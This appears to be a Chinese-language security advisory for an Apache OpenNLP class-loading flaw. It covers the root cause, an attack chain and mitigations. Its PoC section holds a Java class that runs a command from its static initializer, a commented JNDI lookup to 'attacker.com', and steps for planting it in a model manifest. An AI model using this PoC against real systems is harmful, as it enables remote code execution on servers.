CVE-2026-42027 CVSS 9.8 严重

CVE-2026-42027 Apache OpenNLP 任意类实例化漏洞

披露日期: 2026-05-04

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-42027

漏洞类型

任意类实例化

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Apache OpenNLP

漏洞概述

Apache OpenNLP的ExtensionLoader组件存在严重的任意类实例化漏洞。攻击者可以通过构造恶意的模型存档文件，并在manifest.properties文件中指定任意类名。由于`Class.forName()`方法在类型兼容性检查执行之前就已经加载并初始化了指定的类，因此会触发该类的静态初始化代码。如果应用程序的类路径中存在包含危险静态初始化逻辑（如JNDI注入、网络请求或文件系统操作）的第三方库，攻击者即可利用此漏洞在模型加载阶段远程执行任意代码，从而完全控制受害系统。

技术细节

该漏洞的核心在于`ExtensionLoader.instantiateExtension`方法对类加载的处理逻辑不当。该方法从模型归档的`manifest.properties`中读取类名，并直接调用`Class.forName()`进行加载。虽然代码中包含`isAssignableFrom`检查以确保加载的类是预期的接口子类型（如BaseToolFactory），但这一安全校验步骤位于类加载和初始化之后。根据Java语言规范，`Class.forName()`在加载类时会默认执行其静态初始化块。因此，攻击者只需在manifest中指定classpath上存在的、具有恶意静态代码的类名（如包含JNDI Lookup的类），当OpenNLP加载该恶意模型时，静态代码即会在安全校验前执行。虽然这需要依赖classpath中存在特定的“Gadget”类，但在现代Java应用生态中极常见，极易导致远程代码执行。

攻击链分析

STEP 1

侦察

攻击者确认目标系统使用了受影响版本的Apache OpenNLP，并且类路径中存在可利用的Gadget类（如具有危险静态块的类）。

STEP 2

武器化

攻击者创建一个特制的模型归档文件，并在manifest.properties中配置条目，将类名指向那个可利用的Gadget类。

STEP 3

投递

攻击者通过社区模型仓库、钓鱼邮件或上传功能，将恶意的模型文件投递给目标用户或系统。

STEP 4

利用

当OpenNLP尝试加载该模型时，`ExtensionLoader`读取manifest并调用`Class.forName()`加载攻击者指定的类。

STEP 5

执行

由于类加载机制，目标类的静态初始化代码在类型检查之前执行，导致恶意代码（如JNDI注入或命令执行）在服务器上运行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// Malicious.java - A class with a side-effect in static initializer
public class Malicious {
    static {
        try {
            // Example: Execute a command or JNDI lookup
            java.lang.Runtime.getRuntime().exec("touch /tmp/pwned");
            // Or: javax.naming.InitialContext().lookup("ldap://attacker.com/exploit");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

/*
 * Exploitation Steps:
 * 1. Compile the above class and ensure it is on the target's classpath.
 * 2. Create a malicious model archive (JAR/Zip).
 * 3. Inside the archive, create/modify META-INF/manifest.properties.
 * 4. Set a property (e.g., 'serializer-class' or 'factory') to point to 'Malicious'.
 *    Example entry: serializer-class=com.example.Malicious
 * 5. Trigger the victim application to load this crafted model.
 */

影响范围

Apache OpenNLP < 2.5.9

Apache OpenNLP < 3.0.0-M3

防御指南

临时缓解措施

对于无法立即升级的用户，请务必确保所有模型文件来源可信，避免加载不可信的第三方模型。同时，应严格审计应用程序类路径，识别并移除那些包含危险静态初始化器或构造函数的类，特别是执行JNDI查找、网络请求或文件系统操作的类。建议通过设置环境变量将允许的包前缀限制为仅包含 'opennlp.' 以减少攻击面。

参考链接

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